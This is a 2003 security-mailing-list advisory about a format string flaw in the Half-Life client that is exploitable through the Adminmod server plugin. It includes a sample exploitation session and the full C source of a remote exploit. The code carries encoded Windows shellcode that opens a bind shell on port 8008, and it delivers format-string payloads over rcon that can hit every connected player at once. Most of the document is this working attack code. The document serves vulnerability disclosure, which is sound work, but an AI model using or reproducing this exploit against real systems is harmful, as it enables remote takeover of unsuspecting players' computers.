[VSA0304] Half-Life Client remote hole via Adminmod plugin

From: VOID.AT Security (crewat_private)
Date: Fri Jan 10 2003 - 09:49:35 PST

  • Next message: VOID.AT Security: "[VSA0305] HLTV remote DoS"

    [void.at Security Advisory VSA0304]
    
    Half-Life is the underlying game for the most popular online
    game today, "Counter-Strike", and others.
    
    Adminmod is a popular plugin to the half-life-server.
    
    Overview
    ========
    
    Due to a format string in the Half-Life *client*, it is
    possible for an attacker who has rcon access to a game-
    server that runs Adminmod, to exploit the machine of
    a player that is connected to the game server.
    
    No, even better, you can exploit ALL clients that play
    on the server AT ONCE!
    
    Note, the attacker needs to know the rcon-password.
    However, it is easy to sniff since it is being transmitted
    in plaintext.
    
    Affected Versions
    =================
    
    Since there is always the latest version of Half-Life
    and Counter-Strike required to play online, there is no
    need to check for other affected versions; the current one
    is vulnerable.
    
    On the server-side, this bug can be exploited using
    any Adminmod version.
    
    Impact
    ======
    
    High.
    
    Details
    =======
    
    This seems to be a format string bug in the Half-Life-Client,
    Adminmod has little to do with it. I found it by accident as I
    blackboxed the admin_ssay and admin_psay commands.
    
    The admin_ssay command sends a textmessage to all players.
    After some calls the message eventually reaches the function
    ClientPrint, which is called for every user object (i.e. every
    player on the server) (util.cpp):
    
    949 /* Rope's stuff */
    950 void ClientPrint( entvars_t *client, int msg_dest, const char *msg_name,
    951                   const char *param1, const char *param2, const char *param3,
    952                   const char *param4 ) {
    953
    954         if ( ClientCheck(client) == 0 ) return;
    955
    956   if ( (g_msgTextMsg = GET_USER_MSG_ID(PLID, "TextMsg", 0)) == 0 ) {
    957           g_msgTextMsg = REG_USER_MSG( "TextMsg", -1 );
    958   }  // if
    959
    960
    961   MESSAGE_BEGIN( MSG_ONE, g_msgTextMsg, NULL, client );
    962   WRITE_BYTE( msg_dest );
    963   WRITE_STRING( msg_name );
    964
    965   if ( param1 )
    966     WRITE_STRING( param1 );
    967
    968   if ( param2 )
    969     WRITE_STRING( param2 );
    970
    971   if ( param3 )
    972     WRITE_STRING( param3 );
    973
    974   if ( param4 )
    975     WRITE_STRING( param4 );
    976
    977   MESSAGE_END();
    978
    979 }
    
    Since I am no HLSDK developer, I have no idea what that MESSAGE_BEGIN
    macros do, but I suspect that the Halflife-Client simply prints out
    the message that was sent by the server using a format function,
    without checking for evil characters. It seems that only some kind
    of custom messages trigger this problem.
    
    However, you can force the client to execute arbitrary commands that
    eventually spawn a remote shell.
    
    Solution
    ========
    
    Disable adminmod until a patched version becomes available.
    Change the rcon-password.
    
    Exploit
    =======
    
    Please find attached a demonstration exploit. Note that it will
    only work against Windows 2000/XP-Clients due to the architecture
    of the shellcode (the server-OS is irrelevant).  Other versions
    can of course be exploited using different shellcodes.
    
    When you execute the exploit against a victim, it will look
    for him as if the game crashed (it freezes).
    
    On the attacker side, if you don't want to exploit all clients
    in one shot, you have to modify a command script of adminmod,
    namely the "admin_psay" command so it doesn't send the
    "(Private Msg from Admin): "-string to the client (would be
    a bad thing because the IP jumps directly into that buffer).
    This is left as an exercise to the reader.
    
    Sample exploitation session
    ===========================
    
    greuff@saturn:~$ ./hoagie_adminmod_client localhost 27015 myprecious greuff
    Writing shellcode fragment at offset 5056...
    Writing shellcode fragment at offset 4998...
    Writing shellcode fragment at offset 4940...
    Writing shellcode fragment at offset 4882...
    Writing shellcode fragment at offset 4824...
    Writing shellcode fragment at offset 4766...
    Writing shellcode fragment at offset 4708...
    Writing shellcode fragment at offset 4650...
    Writing shellcode fragment at offset 4592...
    Writing shellcode fragment at offset 4534...
    Writing shellcode fragment at offset 4476...
    Writing shellcode fragment at offset 4418...
    Writing shellcode fragment at offset 4360...
    Writing shellcode fragment at offset 4302...
    Writing shellcode fragment at offset 4244...
    Writing shellcode fragment at offset 4186...
    Writing shellcode fragment at offset 4128...
    Writing shellcode fragment at offset 4070...
    Writing shellcode fragment at offset 4012...
    Writing shellcode fragment at offset 3954...
    Writing shellcode fragment at offset 3896...
    Writing shellcode fragment at offset 3838...
    Writing bootstrap at offset 3724...
    Writing return into shellcode instructions...
    Shell (hopefully) spawned at client host port 8008.
    
    greuff@saturn:~$ telnet 192.168.0.2 8008
    Trying 192.168.0.2...
    Connected to 192.168.0.2.
    Escape character is '^]'.
    Microsoft Windows 2000 [Version 5.00.2195]
    (C) Copyright 1985-2000 Microsoft Corp.
    
    E:\SIERRA\COUNTE~1>exit
    
    Discovered by
    =============
    
    greuff <greuffat_private>
    
    Credits
    =======
    
    void.at
    everyone who was at 19c3
    
    ====================================================
    
    /*****************************************************************
      * hoagie_adminmod_client.c
      *
      * Remote exploit for Halflife-Clients playing on a server running
      * the Adminmod plugin.
      *
      * Spawns a shell at 8008/tcp.
      *
      * Author: greuffat_private
      *
      * Credits:
      *    void.at
      *    Taeho Oh for using parts of his shellcode-connection code.
      *    deepzone.org for their shellcode-generator
      *
      * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT.
      * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR
      * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM.
      *
      *****************************************************************/
    
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <stdio.h>
    #include <errno.h>
    #include <string.h>
    
    char server_ip[20];
    char rcon_pwd[30];
    int server_port;
    char player_nick[30];
    
    #define STRADDR 0x19d4588
    
    /*
    -- portable NT/2k/XP ShellCode features ... www.deepzone.org
    
    LoadLibraryA   IT address     004AC2E0h
    GetProcAddress IT address     004AC164h
    XOR byte                      9Fh
    Remote port                   8008
    Style                         C
    
    ATTENTION code modified by greuff: 0xff in the first line
    changed to 0xfe because the HL-client filters out this
    character.
    
    Wrote a short bootstrap loader that changes this byte
    again to 0xff. (dec %esp, dec %esp, dec %esp, dec %esp,
    pop %esi, incb 0xf(%esi))
    
    It additionally corrects the single '%' in the code that
    is filtered out by the format-string-function. (offset 0x65)
    
    Works only when the code gets executed by a ret! (buffer-
    address has to lie on the stack)
    
    */
    
    // total length: 1226 bytes
    char *shellcode[] = {
    "\x90\x90\x90\x4c\x4c\x4c\x4c\x5e\xfe\x46\x15\xfe\x46\x6b"
    "\x68\x5e\x56\xc3\x90\x54\x59\xfe\xd1\x58\x33\xc9\xb1\x1c"
    "\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
    "\x90\x90\x90\xac\x34\x9f\xaa\xe2\xfa\x77\x9f\x9f\x9f\x9f",
    
    "\xc2\x1e\x72\x46\xbe\xdf\x9f\x12\x2a\x6d\xbb\xdf\x9f\x12"
    "\x22\x65\xbb\xdf\x9f\xf5\x98\x0f\x0f\x0f\x0f\xc6\x77\x4d"
    "\x9d\x9f\x9f\x12\x2a\xb5\xba\xdf\x9f\x12\x22\xac\xba\xdf"
    "\x9f\xf5\x95\x0f\x0f\x0f\x0f\xc6\x77\x24\x9d\x9f\x9f\xf5",
    
    "\x9f\x12\x2a\x46\xba\xdf\x9f\xc9\x12\x2a\x7a\xba\xdf\x9f"
    "\xc9\x12\x2a\x76\xba\xdf\x9f\xc9\x60\x0a\xac\xba\xdf\x9f"
    "\xf5\x9f\x12\x2a\x46\xba\xdf\x9f\xc9\x12\x2a\x72\xba\xdf"
    "\x9f\xc9\x12\x2a\x6e\xba\xdf\x9f\xc9\x60\x0a\xac\xba\xdf",
    
    "\x9f\x58\x1a\x6a\xba\xdf\x9f\xdb\x9f\x9f\x9f\x12\x2a\x6a"
    "\xba\xdf\x9f\xc9\x60\x0a\xa8\xba\xdf\x9f\x12\x2a\xb2\xb9"
    "\xdf\x9f\x32\xcf\x60\x0a\xcc\xba\xdf\x9f\x12\x2a\xae\xb9"
    "\xdf\x9f\x32\xcf\x60\x0a\xcc\xba\xdf\x9f\x12\x2a\x6e\xba",
    
    "\xdf\x9f\x12\x22\xb2\xb9\xdf\x9f\x3a\x12\x2a\x7a\xba\xdf"
    "\x9f\x32\x12\x22\xae\xb9\xdf\x9f\x34\x12\x22\xaa\xb9\xdf"
    "\x9f\x34\x58\x1a\xba\xb9\xdf\x9f\x9f\x9f\x9f\x9f\x58\x1a"
    "\xbe\xb9\xdf\x9f\x9e\x9e\x9f\x9f\x12\x2a\xa6\xb9\xdf\x9f",
    
    "\xc9\x12\x2a\x6a\xba\xdf\x9f\xc9\xf5\x9f\xf5\x9f\xf5\x8f"
    "\xf5\x9e\xf5\x9f\xf5\x9f\x12\x2a\xd6\xb9\xdf\x9f\xc9\xf5"
    "\x9f\x60\x0a\xa4\xba\xdf\x9f\xf7\x9f\xbf\x9f\x9f\x0f\xf7"
    "\x9f\x9d\x9f\x9f\x60\x0a\xdc\xba\xdf\x9f\x16\x1a\xce\xb9",
    
    "\xdf\x9f\xac\x5f\xcf\xdf\xcf\xdf\xcf\x60\x0a\x65\xbb\xdf"
    "\x9f\xcf\xc4\xf5\x8f\x12\x2a\x56\xba\xdf\x9f\xc9\xcc\x60"
    "\x0a\x61\xbb\xdf\x9f\xf5\x9c\xcc\x60\x0a\x9d\xba\xdf\x9f"
    "\x12\x2a\xca\xb9\xdf\x9f\xc9\x12\x2a\x56\xba\xdf\x9f\xc9",
    
    "\xcc\x60\x0a\x99\xba\xdf\x9f\x12\x22\xc6\xb9\xdf\x9f\x34"
    "\xac\x5f\xcf\x12\x22\xfa\xb9\xdf\x9f\xc8\xcf\xcf\xcf\x12"
    "\x2a\x76\xba\xdf\x9f\x32\xcf\x60\x0a\xa0\xba\xdf\x9f\xf5"
    "\xaf\x60\x0a\xd0\xba\xdf\x9f\x74\xd2\x0f\x0f\x0f\xac\x5f",
    
    "\xcf\x12\x22\xfa\xb9\xdf\x9f\xc8\xcf\xcf\xcf\x12\x2a\x76"
    "\xba\xdf\x9f\x32\xcf\x60\x0a\xa0\xba\xdf\x9f\xf5\xcf\x60"
    "\x0a\xd0\xba\xdf\x9f\x1c\x22\xfa\xb9\xdf\x9f\x9d\x90\x1d"
    "\x88\x9e\x9f\x9f\x1e\x22\xfa\xb9\xdf\x9f\x9e\xbf\x9f\x9f",
    
    "\xed\x91\x0f\x0f\x0f\x0f\x58\x1a\xfa\xb9\xdf\x9f\x9f\xbf"
    "\x9f\x9f\xf5\x9f\x14\x1a\xfa\xb9\xdf\x9f\x12\x22\xfa\xb9"
    "\xdf\x9f\xc8\xcf\x14\x1a\xce\xb9\xdf\x9f\xcf\x12\x2a\x76"
    "\xba\xdf\x9f\x32\xcf\x60\x0a\xd8\xba\xdf\x9f\xf5\xcf\x60",
    
    "\x0a\xd0\xba\xdf\x9f\x14\x1a\xfa\xb9\xdf\x9f\xf5\x9f\xcf"
    "\x12\x2a\xce\xb9\xdf\x9f\x32\xcf\x12\x2a\xc6\xb9\xdf\x9f"
    "\x32\xcf\x60\x0a\x95\xba\xdf\x9f\xf5\x9f\x12\x22\xfa\xb9"
    "\xdf\x9f\xc8\xf5\x9f\xf5\x9f\xf5\x9f\x12\x2a\x76\xba\xdf",
    
    "\x9f\x32\xcf\x60\x0a\xa0\xba\xdf\x9f\xf5\xcf\x60\x0a\xd0"
    "\xba\xdf\x9f\xac\x56\xa6\x12\xfa\xb9\xdf\x9f\x90\x18\xf8"
    "\x60\x60\x60\xf5\x9f\xf7\x9f\xbf\x9f\x9f\x0f\x12\x2a\xce"
    "\xb9\xdf\x9f\x32\xcf\x12\x2a\xc6\xb9\xdf\x9f\x32\xcf\x60",
    
    "\x0a\x91\xba\xdf\x9f\x16\x1a\xfe\xb9\xdf\x9f\xf5\x9f\x12"
    "\x22\xfa\xb9\xdf\x9f\xc8\xcf\x12\x2a\xce\xb9\xdf\x9f\x32"
    "\xcf\x12\x2a\x72\xba\xdf\x9f\x32\xcf\x60\x0a\xd4\xba\xdf"
    "\x9f\xf5\xcf\x60\x0a\xd0\xba\xdf\x9f\xf5\x9f\x14\x1a\xfe",
    
    "\xb9\xdf\x9f\x12\x22\xfa\xb9\xdf\x9f\xc8\xcf\x14\x1a\xce"
    "\xb9\xdf\x9f\xcf\x12\x2a\x76\xba\xdf\x9f\x32\xcf\x60\x0a"
    "\xd8\xba\xdf\x9f\xf5\xcf\x60\x0a\xd0\xba\xdf\x9f\x76\x26"
    "\x61\x60\x60\x12\x2a\xc6\xb9\xdf\x9f\x32\xcf\x60\x0a\x8d",
    
    "\xba\xdf\x9f\x12\x2a\xc2\xb9\xdf\x9f\x32\xcf\x60\x0a\x8d"
    "\xba\xdf\x9f\xf5\x9f\x60\x0a\xc8\xba\xdf\x9f\xce\xc9\xf7"
    "\x7f\x5d\xd5\x9f\x0f\xc5\x60\x8d\xcf\xc4\xc6\xc8\xc1\xce"
    "\xc9\xcc\xf7\xfb\x5e\xd5\x9f\x0f\xc5\x60\x8d\xcf\x33\x1b",
    
    "\x5f\xea\x64\xc7\x34\xc6\x7d\x76\x5c\xc8\xcc\xd0\xdc\xd4"
    "\xac\xad\x9f\xec\xf0\xfc\xf4\xfa\xeb\x9f\xfd\xf6\xf1\xfb"
    "\x9f\xf3\xf6\xec\xeb\xfa\xf1\x9f\xfe\xfc\xfc\xfa\xef\xeb"
    "\x9f\xec\xfa\xf1\xfb\x9f\xed\xfa\xfc\xe9\x9f\xfc\xf3\xf0",
    
    "\xec\xfa\xec\xf0\xfc\xf4\xfa\xeb\x9f\xd4\xda\xcd\xd1\xda"
    "\xd3\xac\xad\x9f\xdc\xed\xfa\xfe\xeb\xfa\xcf\xf6\xef\xfa"
    "\x9f\xd8\xfa\xeb\xcc\xeb\xfe\xed\xeb\xea\xef\xd6\xf1\xf9"
    "\xf0\xde\x9f\xdc\xed\xfa\xfe\xeb\xfa\xcf\xed\xf0\xfc\xfa",
    
    "\xec\xec\xde\x9f\xcf\xfa\xfa\xf4\xd1\xfe\xf2\xfa\xfb\xcf"
    "\xf6\xef\xfa\x9f\xd8\xf3\xf0\xfd\xfe\xf3\xde\xf3\xf3\xf0"
    "\xfc\x9f\xcd\xfa\xfe\xfb\xd9\xf6\xf3\xfa\x9f\xc8\xed\xf6"
    "\xeb\xfa\xd9\xf6\xf3\xfa\x9f\xcc\xf3\xfa\xfa\xef\x9f\xdc",
    
    "\xf3\xf0\xec\xfa\xd7\xfe\xf1\xfb\xf3\xfa\x9f\xda\xe7\xf6"
    "\xeb\xcf\xed\xf0\xfc\xfa\xec\xec\x9f\xdc\xf0\xfb\xfa\xfb"
    "\xbf\xfd\xe6\xbf\xe3\xc5\xfe\xf1\xbf\xa3\xf6\xe5\xfe\xf1"
    "\xdf\xfb\xfa\xfa\xef\xe5\xf0\xf1\xfa\xb1\xf0\xed\xf8\xa1",
    
    "\x9d\x9f\x80\xd7\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\x93\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9e\x9f\x9f\x9f"
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f",
    
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f",
    
    "\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\xdc\xd2\xdb\xb1\xda\xc7\xda\x9f\x9f\x9f\x9f\x9f"
    "\x8f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f\x9f"
    "\x9f\x9f\x9f\x9f\x9f\x9f\x96\x96\x96\x96\x96\x90\x90\x90"};  // = 22 blocks
    
    char loader[]=
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x4c\x4c\x4c\x4c\x5a\x31\xc9\xb1\x27\x42\xe2"
    "\xfd\x52\x31\xc0\x31\xc9\x66\xbb\x38\x16\x88\xf9\x51\x88"
    "\xd9\x40\x8a\x3c\x42\x88\x3a\x42\xe2\xf8\x59\xe2\xf1\xc3";
    
    void create_conn(int *sock, char *host, int port)
    {
        struct sockaddr_in sin;
        sin.sin_family=AF_INET;
        sin.sin_port=htons(port);
        if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
        if((*sock=socket(PF_INET,SOCK_DGRAM,0))<0) perror("socket"), exit(1);
    }
    
    void lowlevel_rcon(int sock, char *host, int port, char *cmd, char *reply)
    {
        char msg[100000];
        struct sockaddr_in sin;
        struct sockaddr_in sfrom;
        fd_set fdset;
        int dummy;
    
        sin.sin_family=AF_INET;
        sin.sin_port=htons(port);
        if(inet_aton(host,&(sin.sin_addr.s_addr))<0) perror("inet_aton"), exit(1);
    
        sprintf(msg,"%c%c%c%c%s",0xff,0xff,0xff,0xff,cmd);
        if(sendto(sock,msg,strlen(msg),0,(struct sockaddr *)&sin,sizeof(sin))<0)
           perror("sendto"), exit(1);
    
        if(reply)
        {
           if(recvfrom(sock,msg,2000,0,(struct sockaddr *)&sfrom,&dummy)<0)
              perror("recvfrom"), exit(1);
    
           if(strncmp(msg,"\xFF\xFF\xFF\xFF",4))
              fprintf(stderr,"protocol error: reply\n"), exit(1);
    
           strcpy(reply,msg+4);
        }
    }
    
    void send_rcon(int sock, char *host, int port, char *rconpwd, char *cmd, char *reply_fun)
    {
        char reply[1000];
        char msg[100000];
    
        lowlevel_rcon(sock,host,port,"challenge rcon",reply);
        if(!strstr(reply,"challenge rcon "))
           fprintf(stderr,"protocol error\n"), exit(1);
        reply[strlen(reply)-1]=0;
    
        sprintf(msg,"rcon %s \"%s\" %s",reply+strlen("challenge rcon "),rconpwd,cmd);
        if(reply_fun)
           lowlevel_rcon(sock,host,port,msg,reply);
        else
           lowlevel_rcon(sock,host,port,msg,NULL);
        if(reply_fun)
           strcpy(reply_fun,reply);
    }
    
    int main(int argc, char **argv)
    {
        int sock, i,j;
        int anzsc;
        char reply[1000], command[100];
        char evil_message[100000];
        unsigned int offset, spaces;
        unsigned long addr;
    
        printf("hoagie_adminmod_client - remote exploit for half-life-clients\n");
        printf("by greuffat_private\n\n");
        if(argc<4 || argc>5)
        {
           printf("Usage: %s server_ip server_port rcon_password [player_nick]\n\n",argv[0]);
           exit(1);
        }
    
        strcpy(server_ip,argv[1]);
        server_port=strtol(argv[2],NULL,10);
        strcpy(rcon_pwd,argv[3]);
        if(argc==5)
        {
           strcpy(player_nick,argv[4]);
           sprintf(command,"admin_command admin_psay \"%s\"",player_nick);
        }
        else
        {
           player_nick[0]=0;
           sprintf(command,"admin_command admin_ssay");
        }
    
        if(player_nick[0]==0)
        {
           printf("Sending to ALL clients! You have 3 sec to abort...\n");
           sleep(3);
        }
    
        create_conn(&sock,server_ip,server_port);
    
        /********* Step 1 - send the complete shellcode and the loader to the big buffer ***********/
    
        offset=5000+112/2;
        spaces=0;
        for(i=21;i>=0;i--)
        {
           sprintf(evil_message,"%s ",command);
           for(j=0;j<spaces;j++)
              strcat(evil_message," ");
           sprintf(reply,"%%%du%s",offset,shellcode[i]);
           strcat(evil_message,reply);
    
           printf("Writing shellcode fragment at offset %d...\n",offset);
           send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);
           offset-=strlen(shellcode[i])+2;   // including \x0a\x00
        }
    
        /********* Step 2 - send the shellcode bootstrap loader ***********/
    
        /* correct offset because the shell loader has the double size of a shellcode chunk */
        offset-=strlen(shellcode[0]);
        sprintf(evil_message,"%s ",command);
        for(j=0;j<spaces;j++)
           strcat(evil_message," ");
        sprintf(reply,"%%%du%s",offset,loader);
        strcat(evil_message,reply);
    
        printf("Writing bootstrap at offset %d...\n",offset);
        send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);
    
        /********* Step 3 - construct the code that returns into the shellcode ************/
    
        addr=STRADDR+offset+73+spaces;
        sprintf(evil_message,"%s AA%c%c%c%c%c%c%%.f%%.f%%.f%%.f%%.f%%.%du%%n",
             command,
             0x68,addr&0xFF,(addr>>8)&0xFF,(addr>>16)&0xFF,(addr>>24)&0xFF,0xc3,734 /* 0x3cd-13 */);
        printf("Writing return into shellcode instructions...\n");
        send_rcon(sock,server_ip,server_port,rcon_pwd,evil_message,reply);
    
        close(sock);
    
        printf("Shell (hopefully) spawned at client host port 8008.\n");
        return 0;
    }
    
    
    



    This archive was generated by hypermail 2b30 : Fri Jan 10 2003 - 10:39:47 PST